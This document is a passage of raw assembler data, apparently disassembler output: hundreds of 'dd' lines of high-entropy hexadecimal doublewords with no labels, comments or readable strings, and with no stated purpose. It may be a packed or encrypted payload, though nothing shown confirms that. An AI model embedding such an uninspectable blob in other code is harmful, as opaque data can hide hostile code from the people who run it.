		dd 0E6170CCFh, 0EB799613h, 8A5AD739h, 0C8E4ABD1h, 78188582h
		dd 81450424h, 65738034h, 4D481580h, 0C198528h, 4C4907A0h
		dd 0BD5E1C0Ch, 467B68C0h, 6229B3h, 0F0F41C75h, 7ED9AC85h
		dd 403A1E26h, 0DCB3510Ah, 70FF0880h, 394061D1h,	8FA83513h
		dd 4EE34594h, 0C37B88BCh, 0E889068h, 19C07A65h,	45271989h
		dd 2D050709h, 30A0CCD2h, 0DF8BB38Fh, 5BF83B00h,	500447F1h
		dd 30D8D56Eh, 81F80893h, 14F142C0h, 22414645h, 37DA01A0h
		dd 0BDC8BBF1h, 53D05024h, 4D00F4B6h, 0A9ABDCB1h, 6E3697Ch
		dd 653EE1B8h, 0C41FA94Fh, 0D8C003C8h, 0FDED2CEFh, 581649F8h
		dd 0B058C490h, 0EA2AF852h, 3544A1D0h, 0A8D6D030h, 24DDB9ECh
		dd 49BCE263h, 0B5B83407h, 51E06099h, 1A502401h,	6369D428h
		dd 0FEB80018h, 4A8AFA0h, 1D147FEDh, 226881ADh, 493D00A4h
		dd 91647A0Ch, 80EB1158h, 0A73F5B14h, 2272431Bh,	0C70003Ah
		dd 9A6C965Bh, 0A4E066FBh, 3120F402h, 6A5ED801h,	56914100h
		dd 50302435h, 20C92A0h,	19B2F808h, 5C6069E9h, 0D0804754h
		dd 810A35BBh, 0A6C40C30h, 3C903531h, 0E929EF31h, 805527FCh
		dd 92413848h, 39A820B0h, 2300563Dh, 78F3CE18h, 7B66AF04h
		dd 4A151F5Bh, 256400C2h, 4863756Bh, 9C327C2Ch, 1380B8A1h
		dd 0FAD3CFE0h, 2CF0929Ch, 62AC63D5h, 70728FC5h,	0F1BA1606h
		dd 49A8DA41h, 0DF2C904Dh, 0A0DE1C14h, 8AE61516h, 0B0568C44h
		dd 3583C8C8h, 481A048h,	2670C00h, 68A6C70Eh, 9A163EE4h
		dd 0EF2507FCh, 20D9EB52h, 0B5763604h, 47440890h, 0ACB49407h
		dd 545A0D7Bh, 0F7B1D010h, 0F4477901h, 40AA4201h, 0B202B82Ch
		dd 2D0CC69Fh, 0FAA79CA1h, 0DE0346Fh, 484AA42Ch,	7E91A8A6h
		dd 0A0AFEB00h, 0C51B7A8Eh, 0C619B961h, 49A62CD5h, 25D30B50h
		dd 8445CC1Eh, 19FF812h,	74BCFBE3h, 251555A0h, 0CB080EAh
		dd 59330BC6h, 0F3F4178Ch, 3C5C0A83h, 10EB90B4h,	1404C60Eh
		dd 483D1A65h, 23EB40ADh, 0B0803634h, 0DA54A040h, 0A8825C07h
		dd 16D1FA84h, 52E32C04h, 2630DD01h, 0F64360Dh, 0A9D4A377h
		dd 80C0656Ah, 71A37F48h, 4105A1C4h, 8A03A445h, 0FCD58000h
		dd 905683D7h, 53A265Ch,	60194494h, 79D8A373h, 7C448CDDh
		dd 0A37B1C4Ch, 27D90FC6h, 0E4E4F22h, 367634E1h,	0F14D0274h
		dd 31494517h, 46CD1094h, 235C00F1h, 0F737796Dh,	4E17D407h
		dd 0CC22AB7Ch, 10042992h, 5B1B60EAh, 23A72142h,	9BC071C5h
		dd 0F56CAEAh, 0DF1A59EEh, 3002E729h, 64032A03h,	0F6D10085h
		dd 0C9CB5070h, 25004916h, 0E918C8EBh, 489554FDh, 36138C91h
		dd 6784203Eh, 647275E7h, 0FE6041C2h, 0EC7271h, 0DD4FA68h
		dd 9BCBC0EDh, 24F9A205h, 9C83D805h, 3049483Dh, 9C593C3Ah
		dd 82DD861Ch, 0BE26C6D5h, 0AC0A9460h, 0AFE02486h, 0F7003984h
		dd 2A74552h, 0A8B18D1Ch, 0F061BB0Ah, 4674A424h,	2A600E39h
		dd 0E6A10048h, 2A25D879h, 19C472A3h, 588550E3h,	82018DFh
		dd 3BA7435Bh, 6C4038C4h, 2A25B18h, 4D271E00h, 43DDE0F3h
		dd 2F9F4EA9h, 9F2380h, 0B1B046B3h, 8461F402h, 27DC8DF8h
		dd 0FC01DC20h, 0C8A28108h, 68C437DDh, 2CD0B7F5h, 0B68EABD0h
		dd 1BF10288h, 7C42CB31h, 0D6141C60h, 0E2223C90h, 7EC105A9h
		dd 38F61376h, 19F34220h, 300ED042h, 0D512A36Eh,	0F08B72DDh
		dd 0A3761504h, 0F7D8E298h, 0A60CC2B8h, 19EBBF40h, 0A409E8DEh
		dd 851CA1F9h, 0D430B12Ch, 0A05E55EAh, 64F04066h, 0AB16889Ah
		dd 8821A222h, 146261B4h, 0B72250D4h, 98084496h,	0D9158216h
		dd 0C4688323h, 0A81D2AC9h, 48307010h, 9277E49h,	0C0BCAA96h
		dd 60C520C4h, 0DC93839Ch, 0F2EEE15Dh, 9B932C4Ch, 62761398h
		dd 14404568h, 0D98818A0h, 0E020CC1Eh, 0A894B241h, 4828E714h
		dd 66FF09E8h, 82B889BDh, 4696DAB4h, 0F2251580h,	121E908Eh
		dd 0B848FAA4h, 268C38F8h, 20EED5B2h, 47D139DDh,	0D15A1792h
		dd 77257C8h, 71900C71h,	67847839h, 56188813h, 1A8FDD07h
		dd 8BCE326Dh, 2E6C184Eh, 109F80AAh, 0AC81CD98h,	0D2104788h
		dd 2C5A972Eh, 0D59C50FFh, 6535321Bh, 503A29F7h,	4D0E8223h
		dd 538520FEh, 0B167E5DBh, 3B1142C0h, 7517F428h,	8E447842h
		dd 0BF9C7938h, 0E577C782h, 58192B08h, 0C7C81D13h, 0B17E0179h
		dd 0E09EDB24h, 3DFBE582h, 43B4C934h, 37F22063h,	9DDD730h
		dd 0C08A14A1h, 43814005h, 56BBD294h, 16F871DEh,	0A99319DEh
		dd 0B03E14D0h, 0A6FF02D5h, 0F2A3D09Dh, 8B3D2068h, 89BBA414h
		dd 0A545788h, 0F459AB56h, 0B194F641h, 81F5443Ch, 11305828h
		dd 0A8004D18h, 5A6064C7h, 7296A6E9h, 14334CAEh,	280C7C06h
		dd 0A4917873h, 0C81FBAF9h, 0EC265EBAh, 2713F2AFh, 37C8608Bh
		dd 0E69079C0h, 0F69C0164h, 7354CE4h, 16985070h,	3B7F0418h
		dd 8B00A4E4h, 3A61E29Ah, 0ACB6D46h, 7B9FEAA9h, 70AC0188h
		dd 828D6EDBh, 557746A8h, 7FA46925h, 0F10B4018h,	1C114516h
		dd 3CC7D5Ch, 2C210DF1h,	89075BFEh, 0BCC1C9EEh, 8231004Eh
		dd 96B060h, 0FEA45233h,	26EC7401h, 0E2076F75h, 5A99E972h
		dd 6941E50h, 508E1F8Ah,	15700E04h, 9C438643h, 18EA100Ch
		dd 16731E1h, 4089211Fh,	0F50CFA78h, 0FE288184h,	0D77D54EDh
		dd 6F5E4E4h, 0A56A71FFh, 0E7E038DEh, 437341C0h,	1F982E4h
		dd 640B618Ah, 0EB1CEB32h, 0F34C2170h, 0FE873D2Ah, 0A88C71Fh
		dd 0CCDE7F80h, 6F8649E9h, 92002875h, 0EB16D6A1h, 0E2BDA50Ch
		dd 0CE8609F3h, 0D661B221h, 80D94AFBh, 5CA27210h, 4D2397h
		dd 4E2E1E46h, 7834FBEAh, 0E20C0924h, 2100791Ch,	0FF6606A9h
		dd 0E89263ECh, 983B5288h, 880F371Fh, 0B1CF06h, 84AD19BFh
		dd 0FE100691h, 2D8FA5Ch, 0A7B5349Eh, 93A083AFh,	8FC1981Fh
		dd 0F1E91899h, 256E91E3h, 0A07CA028h, 0EB60F2F8h, 3C1E8919h
		dd 3BD50127h, 495C73E1h, 78AC43C8h, 24EE5006h, 738A298h
		dd 0EA38F76Bh, 356EE046h, 18CC90B4h, 0AC48A80Eh, 0D6A00498h
		dd 62ADEB17h, 98B32087h, 7C3A64D6h, 7DF858Fh, 8005B8ADh
		dd 0E440A010h, 119F475Fh, 1EE738Ah, 0CC46CB59h,	53D301E8h
		dd 0EF88AA88h, 3760DB3Bh, 41E21D98h, 7AE6008Fh,	56C9EDA4h
		dd 1406AEC7h, 0CAD13CEBh, 0DF7F03D8h, 0E58D6C8Bh, 79811002h
		dd 8099EA73h, 0D80F7BCFh, 0CE3C48F5h, 8A42068h,	0E882AAF6h
		dd 17B040Ch, 8134F767h,	0AF1D6CB9h, 64245251h, 0DE012293h
		dd 26C0BE00h, 0C5E66754h, 0B65F339Dh, 2103DB08h, 0D426C820h
		dd 3DB7E8A7h, 4E4C1FEBh, 0DB4B4CECh, 2379EA79h,	778631C5h
		dd 60E4A44Fh, 6F08669Ah, 981772EFh, 6489481Ah, 4083EC40h
		dd 6E0AC2B7h, 0D87B800Dh, 388467Eh, 1B63513h, 588900EAh
		dd 324D9F71h, 0E50E84D7h, 0A0CAA548h, 1F0DFB2Fh, 0EBBF303Ch
		dd 0A110BB80h, 0ADA488A8h, 31702600h, 1DFD5216h, 1727097Ah
		dd 2C014704h, 71A425h, 0C33B0779h, 9F1D0119h, 838864E1h
		dd 4B639849h, 216007D1h, 0E3E590DBh, 21125510h,	0EC08921Eh
		dd 11C861CBh, 0B9218097h, 209C3518h, 69648F3h, 90082333h
		dd 105B2100h, 0F72E5135h, 3BE80AE6h, 8188EDEAh,	922CFA72h
		dd 0A7F84750h, 9819DCF5h, 13032E1h, 0B6BDA2F6h,	6030BB8Dh
		dd 637E403Ch, 0E745449Ah, 485CF7D0h, 6E0024A4h,	6F8204DFh
		dd 1F185DCAh, 0E918A8D9h
		dd 0D06234A2h, 4AE00881h, 19D69AC0h, 227D46EBh,	92B9007Fh
		dd 854005D6h, 6B07CEEAh, 0EEE85944h, 3FCC2173h,	31E18689h
		dd 0CC424CE7h, 6400A261h, 341CA306h, 4C7E21F3h,	0CD06999Eh
		dd 31718831h, 71BD439h,	7C4E5CFCh, 92C864D0h, 454F1216h
		dd 0AA4C4885h, 27342082h, 0C84B04F1h, 31003A98h, 247F410Ch
		dd 20A7864h, 6CEDE142h,	0C441ADB5h, 78C3049h, 612648B8h
		dd 7940D835h, 5404EF67h, 4C25A0BFh, 9C00FDA8h, 0BB3AD8FFh
		dd 553761D7h, 900931DFh, 379E20h, 414A609Ch, 11E671D2h
		dd 0A509E100h, 5DEEF236h, 0AF2F2957h, 24E011D8h, 0F7532C77h
		dd 0C63DCAB1h, 9088BC31h, 142B9C90h, 8E3C1831h,	0A2188300h
		dd 0F30F7C03h, 1C0C3553h, 8168D2F0h, 66DDE862h,	78AFC85Eh
		dd 1D07650Ch, 96438C1h,	0E2F7E9DAh, 54200C91h, 4C8C104Ch
		dd 7831C489h, 20A0FC14h, 8E221346h, 350C5701h, 9E5E1E2Eh
		dd 24E6D8F0h, 615CFB30h, 0D36771FEh, 5C203105h,	0E401CB7Fh
		dd 0CD1D346Dh, 28941C65h, 19053C63h, 82E7299Ch,	0FF03A6E0h
		dd 63A3C9F7h, 0D8096022h, 9C88CA6Eh, 0E5A0018Ch, 875E819Ah
		dd 0B90767D9h, 8F03809Ah, 386E8796h, 16002439h,	5771B5E7h
		dd 0AF9022E6h, 53908448h, 318EA2F8h, 8AFFDCDFh,	0B05870E9h
		dd 6924834Ch, 0BBA80250h, 81CA06D3h, 512A0CA1h,	8963BCh
		dd 66F753F2h, 0D0D228C7h, 3EC2AA00h, 66D39D1Fh,	64794CF2h
		dd 50E3DF10h, 0E94788h,	52356561h, 0C223E078h, 0A284161Fh
		dd 91622320h, 350E5920h, 5381001Dh, 541F148Ch, 58D3D923h
		dd 2C2C6810h, 88086897h, 3EF0269Dh, 8F08D29h, 79809865h
		dd 0B9151DFFh, 88CA24FCh, 0C59D02CCh, 20C7DE4Eh, 0C617F44h
		dd 0E424F59Ch, 600E6B49h, 59109F05h, 2A700471h,	8F5F0040h
		dd 8B15FB7Eh, 0C97EFAEDh, 0C764EB5Ch, 2C38600Dh, 94123948h
		dd 15841215h, 5172187Fh, 24F018EEh, 7919C3DFh, 0EE09042h
		dd 21C0E74Ah, 0BA9D51C9h, 0C25E0C70h, 0DD096876h, 49A921C0h
		dd 127549Dh, 5C917DCFh,	24BAEF37h, 2918ED0Ch, 0D961E501h
		dd 22CB0057h, 64B714Dh,	660DB3DCh, 0B0804435h, 0AF0AC20h
		dd 0CAFF3C16h, 757200CCh, 6EC50E90h, 3A36DA1Ah,	0C93040B9h
		dd 9A890C4h, 44CE5C24h,	17611080h, 0E8A1164Fh, 99687415h
		dd 0A989F239h, 0BDE22046h, 0E0043247h, 0D69B604Bh, 87EB7918h
		dd 0D693B800h, 1EF44Bh,	0FE25F95Ah, 10AA3503h, 46A344h
		dd 4447E4F2h, 6D021B48h, 0C601E102h, 603C4E20h,	808EB800h
		dd 0C4A33265h, 9D4F60CCh, 4E7023BCh, 0A700DC11h, 6D0D9D47h
		dd 3B044059h, 931FA39Eh, 0F36CE881h, 0CA126028h, 140014BAh
		dd 96977850h, 0A0CA62Ch, 0E089050h, 5C4E1989h, 0BB6C1E81h
		dd 55C024B6h, 18CC5111h, 1901C923h, 0FB209B35h,	5A889518h
		dd 53350011h, 20B8C486h, 0D01634B6h, 2001F61Fh,	8FA40D71h
		dd 0DD768092h, 88F44B38h, 8316C094h, 971EBE9Bh,	3A64B1BAh
		dd 0B335E02h, 0B1685282h, 459D6420h, 0AC43EE4Bh, 0B8C83FE1h
		dd 72F06F6Eh, 51F51240h, 0BD688CB6h, 5C80EF2Ch,	89F4109Dh
		dd 7E3A4CCh, 0EE5E55DBh, 0CDF65025h, 2D013078h,	44B56F62h
		dd 59ED4AB0h, 5CE3D820h, 701AE802h, 48E2FC35h, 0C5998802h
		dd 33F2BC81h, 36886545h, 64200CDCh, 1CC31949h, 4085CB68h
		dd 391470C0h, 0D2496965h, 1EA16088h, 99DAC754h,	4B8C2680h
		dd 461FE884h, 31A610h, 23417039h, 0BD2C9636h, 0B7039E76h
		dd 2764251Ah, 58C2F5F9h, 107727F1h, 0CBC9CA60h,	81833602h
		dd 0A76C8649h, 2220EFB0h, 303A5AA9h, 7B04AE84h,	6117C439h
		dd 0B4208750h, 78F6B5FDh, 3D8E00D0h, 0CE8124A3h, 5700CD4Fh
		dd 666A1A47h, 0BB73047Ah, 1842C24h, 717C5F20h, 0A2604068h
		dd 59DF785Dh, 199A6F0Dh, 0AA314830h, 46FC849Ch,	15D69E60h
		dd 119DEB23h, 96B5007Dh, 19C32D6h, 0E8FB00F6h, 1F663D61h
		dd 70B9AD91h, 9712AC4Ah, 7EBC7CCCh, 0C6672326h,	1C06D311h
		dd 0A44226C4h, 0F45D232Ch, 58A2390Dh, 0F0609873h, 0CADC8917h
		dd 0F09098F8h, 780CF008h, 0C1F8246Fh, 28182D70h, 0C8805200h
		dd 6ED287C8h, 0CCA5C915h, 229C2087h, 1C09B629h,	4792C8Fh
		dd 1520B958h, 31C88E5Ch, 1417A79Bh, 0B7807C91h,	5645A472h
		dd 0C08AE404h, 5490A73Bh, 0F12D89D2h, 3CDF8870h, 314A67FFh
		dd 269A5A88h, 221C4890h, 4D4C009Dh, 663B1858h, 4F099B5Ch
		dd 6A2F0779h, 7DFEC1ACh, 12305C39h, 657B8919h, 0E2692C00h
		dd 51ABA8F9h, 602494FFh, 0FB337119h, 0F4A20C2Ah, 0BA4B5E26h
		dd 83C8C83Dh, 8AE868D8h, 0A818511Eh, 2984608h, 675126BBh
		dd 10D631AEh, 26C31Fh, 0D3080FDBh, 0D0EFE7B8h, 58EA9A40h
		dd 8782E420h, 0A4E0F55Bh, 88A0B323h, 414BFF92h,	0D4BD1804h
		dd 0DB0D7C14h, 0C0A13BDFh, 0DCB0BC51h, 64ED8F12h, 0EC287B18h
		dd 1C094D87h, 6D1AA33Eh, 347118BCh, 2C496103h, 3105808Ah
		dd 84F90112h, 6BC9A360h, 2826FC8Fh, 0F32C0665h,	2936888h
		dd 34EF1450h, 0A4886FCDh, 6D4201B4h, 2401BB1Dh,	0B02E1CE4h
		dd 0D444CB5h, 0CA404E62h, 88B35670h, 0A602D411h, 93809D46h
		dd 3D4B20C1h, 968A00E8h, 300162E6h, 7DC00B8h, 5FEF7465h
		dd 0A898CBF8h, 0E0D8ED30h, 1732347Bh, 3A6E1E76h, 7C23E8h
		dd 0C936B44Ch, 0CC4803B2h, 5A9E1354h, 0E88C3414h, 970A8C87h
		dd 8CC9FB51h, 52F9A01h,	0FF58F72h, 9D085018h, 0CF6670BBh
		dd 48A800D1h, 87FF09Dh,	0BFFD0A73h, 4E7C421Ch, 80ECE80Ah
		dd 8BEEFA4Ah, 7B1256E5h, 14021B6Ah, 0E2A133CBh,	0D446C8h
		dd 7B919A31h, 76EBBAEEh, 0C1CA6A03h, 0F0B78DC6h, 49B8F4Ch
		dd 451F5E38h, 6C38D194h, 88D472E7h, 0B802C7Bh, 7462D142h
		dd 0D0436C60h, 0EF1D5490h, 81E5865Ch, 0A1BD8D24h, 8AC81829h
		dd 0E1204114h, 42193C4Fh, 30ECC510h, 9F351504h,	8B621B20h
		dd 350D5620h, 86D52547h, 53C0F898h, 0A0B6B720h,	0B9D995B4h
		dd 80C31194h, 20A13517h, 30A52Bh, 2A350F58h, 0A3156346h
		dd 7290793Ch, 3BB38500h, 29ED1542h, 21F00733h, 400E47D5h
		dd 8637A624h, 11D26E00h, 153B30F2h, 256C73C5h, 2C0176BCh
		dd 0D0977075h, 201899B5h, 3820C21Eh, 7952435Bh,	18DA4B24h
		dd 0BE965680h, 0E5085Ch, 0B57913C5h, 9CF904Ch, 6E91F404h
		dd 688576F0h, 8B88D48Eh, 0E3B2F9C0h, 71F0604Bh,	1A9BA6A5h
		dd 4E00FC78h, 6C3BF2ADh, 58F140F7h, 0D283446h, 7D1C385h
		dd 0C0F79B7Dh, 173C1E99h, 0CC0078B4h, 63342089h, 64FCA8EDh
		dd 0A4E251B5h, 0B4CB7C60h, 843541FCh, 4EB07991h, 68FF5002h
		dd 1ABE0FA0h, 0E41DB0D6h, 0F8808E11h, 310477D1h, 4426CBE8h
		dd 4F11BC97h, 2154ED04h, 0E9C8C9CCh, 588C04D0h,	56A007ECh
		dd 503D7120h, 0F98C1341h, 342C95FEh, 0BA0844F2h, 53960274h
		dd 0D452DD8Bh, 0F1D47130h, 0A5CCEF3Ch, 65F50784h, 0FC04ABB2h
		dd 5E394F72h, 14344A7Dh, 8FF294E2h, 5BBBC30h, 88E080D4h
		dd 8818E289h, 7460A497h, 8F00DF46h, 0CE591106h,	0BB339186h
		dd 2971C1EEh, 0F1D8DC36h, 98B2188Ch, 7182446Ch,	0BBE33A0Ah
		dd 0F28830FAh, 901E0ADFh, 0C2AF05A8h, 23943BBDh, 19F168Dh
		dd 0F33B7634h, 3047028Eh, 1451D69Fh, 220C36F8h,	97B41F7Bh
		dd 18F96D6h, 12388244h,	0AE6180A2h, 0C875AA20h,	0EDBE0071h
		dd 6CC1FF27h, 8002691Dh, 0EF65999Eh, 0FA744898h, 0BEF4B9C9h
		dd 0E4F58A00h, 9F1F3134h
		dd 4E97C338h, 6335E440h, 7E37A70Ah, 0CAF00184h,	86509AFEh
		dd 1241836Dh, 0BF4697D4h, 0EFA43190h, 17F824CEh, 0D93D0804h
		dd 666BF381h, 0C0245C35h, 0E0E609DEh, 70830D49h, 5158A132h
		dd 0C0181AC8h, 0B5840A8h, 45798017h, 5D519F0Eh,	20C34B1Fh
		dd 0C2D16D2Ch, 20315396h, 65141684h, 0C580F804h, 0D01CB801h
		dd 2E083281h, 0BAC0D099h, 46675226h, 90D722B6h,	272600A8h
		dd 3C305A3h, 0F313F22Eh, 0E882660Eh, 9D533010h,	6E70C010h
		dd 9D4BA3E0h, 22FC5300h, 4A57C886h, 902B2403h, 0DD4F08E8h
		dd 49675E0Bh, 0A98F5C98h, 0E6CD6C1Eh, 95E84120h, 132018E8h
		dd 48D89F5Ch, 0C4A87034h, 54021346h, 8670BF9Dh,	0A410D231h
		dd 890F9D4Ch, 0C56307C7h, 30445811h, 0F504CF8Fh, 0F7F88101h
		dd 0A3DF0FB6h, 178C4400h, 2788A19h, 5CEBDFFCh, 58E8DB51h
		dd 80837327h, 0B03908F3h, 79E1A028h, 44BCA761h,	0F42160DFh
		dd 0B2900371h, 0A6314209h, 0CB848584h, 0C07DC804h, 0D7CC1C7Ah
		dd 7170E302h, 5AEDEA3Eh, 24EE08C8h, 870C6C4Ch, 0E2A03970h
		dd 0F59D00DFh, 0FEE5840Ch, 7BE2728Eh, 1178DA5Ch, 7412DC17h
		dd 0D78028A0h, 199F1E80h, 689B1D1Ah, 8C90D470h,	12FF6B80h
		dd 2473C8Dh, 0BA15C6FCh, 0D210C445h, 9EC42043h,	54A26537h
		dd 6B079000h, 2B8D221Dh, 910FE100h, 2C0D6F24h, 0DF40C182h
		dd 899DDD07h, 59DA6EB0h, 18D57908h, 0AD421C4Ah,	460A7AEEh
		dd 14A31F02h, 71178CC5h, 3CC4886Ah, 26E40B20h, 8BD0A04Bh
		dd 88681EEAh, 0BCA87987h, 4F001D74h, 5B20C583h,	5C3CF76Bh
		dd 737A3CEBh, 5E64EC1Eh, 1814002Dh, 32CE85A5h, 594BAD0Ah
		dd 3584949Ah, 0F7439310h, 4025ED24h, 1160978Fh,	6AD780E1h
		dd 4F66FD82h, 0FC644012h, 68B66341h, 0FB2D1700h, 54E573BCh
		dd 98209501h, 9D06DB84h, 980A237Ah, 40B21A11h, 1DE0465Ch
		dd 38826B89h, 56F1E84Bh, 92C42CE8h, 0C1C8DA8Fh,	0B27FBE44h
		dd 0C3459C61h, 2A795CF0h, 0F02C3527h, 4C395907h, 0E840B84Ch
		dd 0DF822065h, 3D6A7B02h, 61E2D6F4h, 1985987Ch,	0D08B63DBh
		dd 4791C8F8h, 5E0A3601h, 0CAEF33F3h, 0D7100429h, 0B8F22CB4h
		dd 0DE81E502h, 0D6040382h, 71428102h, 0C05CC71Dh, 30F7A014h
		dd 0A290A5D0h, 0E015581h, 277A05E2h, 442EC36Dh,	0AC9C9E70h
		dd 0FB4201CCh, 246265C9h, 0C878C8F1h, 88CA2907h, 0FB38D0BBh
		dd 8748A42Ch, 0B0268514h, 0B041C489h, 8840EFC5h, 60C67F96h
		dd 326318C8h, 48A49975h, 5681A802h, 82CF62D6h, 948D25A4h
		dd 20D0C848h, 0FE81AD58h, 1A462059h, 6F042087h,	6B41C715h
		dd 9046E5BDh, 0DEC0CCA8h, 5C1F1A61h, 38058A4Fh,	98F4E739h
		dd 6E1D24DAh, 15A34E18h, 60048B3Ch, 9E98F7A1h, 14CD60D4h
		dd 2965C874h, 8434D1FFh, 0A974BE35h, 71B33028h,	50C16538h
		dd 65CF0EAh, 3CF30906h,	9D4A304Dh, 642494C1h, 9428C0DDh
		dd 0DE801A02h, 840E7CCh, 0CF486DD8h, 6CE601E2h,	0C25CEDACh
		dd 67C169B4h, 658C9A50h, 0F210800Dh, 91C39633h,	46595561h
		dd 0D1130CA9h, 0B31094C4h, 105848C0h, 5B00C8FBh, 41650369h
		dd 0B8B49EF7h, 3508C211h, 0E008D4Ch, 37CB3271h,	9A7ECDAh
		dd 0ACFAD6BEh, 347BA892h, 13EF4970h, 30D531AEh,	63187E90h
		dd 28246900h, 0B8EF67F9h, 85DCA090h, 41C46120h,	487071DEh
		dd 0A75C1EFCh, 0D5BD11FCh, 60F6137Ah, 0CDC4229Ah, 93106F11h
		dd 5A00DBA3h, 8C396A86h, 2CA5ACA6h, 1F547C1Bh, 0DF4C2010h
		dd 486E3400h, 4ABC68A9h, 0B32E8906h, 69AB876h, 71A6E169h
		dd 19F2A16Ch, 0FBB33C14h, 1CB062DCh, 94AC99B6h,	260BBF18h
		dd 1CCE6755h, 0C723005Ch, 2E5E5926h, 70122AFFh,	4509E016h
		dd 4B1CE08Bh, 3CA79D0Eh, 36B22019h, 6D08FFBEh, 9C4AD3Ch
		dd 707995A6h, 0FA188679h, 710BF202h, 0C41132ADh, 0C773A028h
		dd 0E0CA0055h, 0B4A88A9Ah, 597E7545h, 9EE2A104h, 20A2F102h
		dd 76A31601h, 2018C869h, 0E04F33Ch, 79EF66BBh, 70ABD4C3h
		dd 73FB2429h, 0CB01F640h, 0D94E5B3h, 9872F2EAh,	6FFB6800h
		dd 0AF5DCC34h, 86951F17h, 2071BCC2h, 0ECBB5BA8h, 0CC2CB09Ch
		dd 6939EA02h, 0F214C83Eh, 0FB610779h, 0EC1A6016h, 0B60E7658h
		dd 58ED9DD9h, 9111C730h, 5F540200h, 0BC48984Fh,	376A176Eh
		dd 8008C8A9h, 10CA2A9h,	0D729A51Bh, 68591F67h, 458F2578h
		dd 60E0C4E8h, 13C83338h, 0F2A62288h, 0E120014h,	0F496BCC2h
		dd 88506761h, 0CC2698B1h, 90770DEh, 0E06B5C21h,	20EA8CE0h
		dd 4471D26Eh, 8A9D8F8h,	0D5CE03C0h, 90005BB8h, 0FE197C08h
		dd 13367AEh, 0A7D66968h, 3DB56102h, 309B4E24h, 315FD783h
		dd 24983F0h, 99C4EB12h,	6F0EF87Eh, 5C837154h, 0D1C2F10Ch
		dd 3744E07Ch, 1A0050A9h, 0AA13CAE6h, 5F007DE4h,	42EED69h
		dd 1C6546h, 0AE33B235h,	20FF3DEh, 0E9A61A1Fh, 925D60C0h
		dd 2CC82B51h, 86C9F74h,	0E81190CCh, 0B5228513h,	25F5E080h
		dd 10149E48h, 13B8CF9h,	109F2Dh, 0A600963Eh, 0F998BA6Fh
		dd 0A4D7ECh, 2A95DDCFh,	0A954EDDFh, 1F25D89Eh, 9DBD080Ch
		dd 427DE84Fh, 21173D16h, 3775C220h, 0B517EA30h,	0EFE75820h
		dd 78829AA0h, 0F08045E4h, 0D8829928h, 98B9542Ch, 0A394A876h
		dd 0AFB019CBh, 4F7211A2h, 0F65CC004h, 6984D5h, 838ACBF2h
		dd 7B8BABBEh, 8CE4090Ah, 0DE000C78h, 0FF7C8DC2h, 0C58408E5h
		dd 0F203D5BEh, 0C06D86D3h, 0F87C91E6h, 0F87BF8E5h, 678807E9h
		dd 0C0859203h, 828DD7F0h, 7700EE74h, 90E9BE66h,	3092066Dh
		dd 83288175h, 0CE070A82h, 0D0076A8Ah, 0D1FDB971h, 90ED4080h
		dd 0D3064DC9h, 0BE7E8B01h, 0C86C8ADBh, 0F9FECC8h, 0B9C992EBh
		dd 637F0494h, 76E58079h, 97C61DE0h, 0B5C56503h,	1E0882C9h
		dd 33E50779h, 0F1E38571h, 0E1C51874h, 841F769h,	0D4EE808Dh
		dd 28EC78F0h, 0D838D0D6h, 34B8880h, 8076E40Fh, 0BB07F009h
		dd 0B366C492h, 0E806A66Fh, 28608ED5h, 0BEB40C38h, 0B5408597h
		dd 0CDFDA0A0h, 124CAA00h, 0C3B9BC92h, 0A4EF00D6h, 768AE40Eh
		dd 0E1CEB027h, 2BC869Fh, 4497278h, 136286D1h, 7D32C6h
		dd 0E60771A4h, 0BE63B010h, 8081B7A0h, 94B1F20Fh, 12C1914Dh
		dd 0F38390C2h, 42E2DE4h, 31B88918h, 0EF01E88Fh,	703FF964h
		dd 0C89849F4h, 0FE12F420h, 4B3CB281h, 3096B819h, 1D6C183Ah
		dd 50A32ECFh, 904030E0h, 0EB820BAFh, 0F048117Ch, 33F20F39h
		dd 0FCE4F2EDh, 4DDF4A75h, 21968268h, 0D95890DCh, 60CCD696h
		dd 0A13E8F30h, 0C16F2779h, 0FC0CFA89h, 1B442D73h, 2171A8D9h
		dd 782E8C58h, 120760B0h, 35618052h, 53F27CA0h, 0A5E8DF25h
		dd 68198AB4h, 6B09B758h, 0F8602059h, 0FAC2D183h, 5902662Ch
		dd 987D0779h, 43949C40h, 0D68A88C4h, 6B88BD43h,	889843D6h
		dd 0C8C54F9h, 2EDEA720h, 0A440484Bh, 702008C0h,	0D08B0ACh
		dd 8F824DFh, 0EA84D5C3h, 78D0D01Ch, 96590765h, 0D86803F0h
		dd 182D7E76h, 0EF484887h, 4388BE54h, 2875A60Dh,	0AF163502h
		dd 72D10767h, 54C8F4C0h, 0E94D406Bh, 8B5C1E00h,	25F5F040h
		dd 20406626h, 0ACABD51Dh, 40D0FFC1h, 0ED0ED724h, 6420E60Ah
		dd 0BBC9880h, 20E7C15Ch, 6EC69E60h, 0F7671597h,	5078B0CFh
		dd 45D4015h, 0DE1EA235h, 18048DEBh, 45845644h, 25DC4ABDh
		dd 0F534A063h, 96E8593Ch, 0C891474Ch, 0D4F5582Dh, 0C4110441h
		dd 0BD547CA8h, 4386CC0Ch, 91DC21C5h, 0DA1C51D5h, 4826AE31h
		dd 43738808h, 0D205C28h
		dd 0A31609D9h, 10D88F96h, 2720B352h, 0C28CE14Bh, 18DE9C3Dh
		dd 93F51098h, 17D96E80h, 216EDFEh, 8710C530h, 4622E900h
		dd 0E47E000Bh, 51FDD7D3h, 16008A3Eh, 0AA90EF77h, 43EE0197h
		dd 1AECF29Fh, 0EC583CD3h, 0EAC1859Dh, 9902D71Dh, 0D640485Ch
		dd 7F0823h, 4B92DCECh, 0C216429Ch, 0E45B0301h, 0C6F8AE26h
		dd 0DABC3C6Ch, 0FA27008Ch, 3ACEDBAEh, 0D006851h, 0ABC74360h
		dd 4EA7306h, 29ED722Ah,	0B808A880h, 66178C94h, 2400413Ch
		dd 0F6F20859h, 21FC9Dh,	0D20F79F8h, 0D3775288h,	7A629CA2h
		dd 14ACCC99h, 8EBC68ACh, 3D52708Ch, 140740AFh, 0E10FFDDh
		dd 85C209Ah, 0BE156740h, 901200BDh, 0EEA4ADB5h,	57042C1Ah
		dd 0E2DAF2D8h, 74AC44D1h, 0D1B030A1h, 0BED519D3h, 0F718712Bh
		dd 0D3C80F88h, 2C6F1BC0h, 39F26988h, 0E34CF804h, 0D69C02A0h
		dd 318DEB1Bh, 94B7107Ah, 0EBFF1FD6h, 3D50AD53h,	0E0D25E0Ah
		dd 6940A410h, 75D2F52h,	35DF9521h, 9129C006h, 0FF011682h
		dd 6047C543h, 79FE3363h, 81921120h, 675326C1h, 608C71E6h
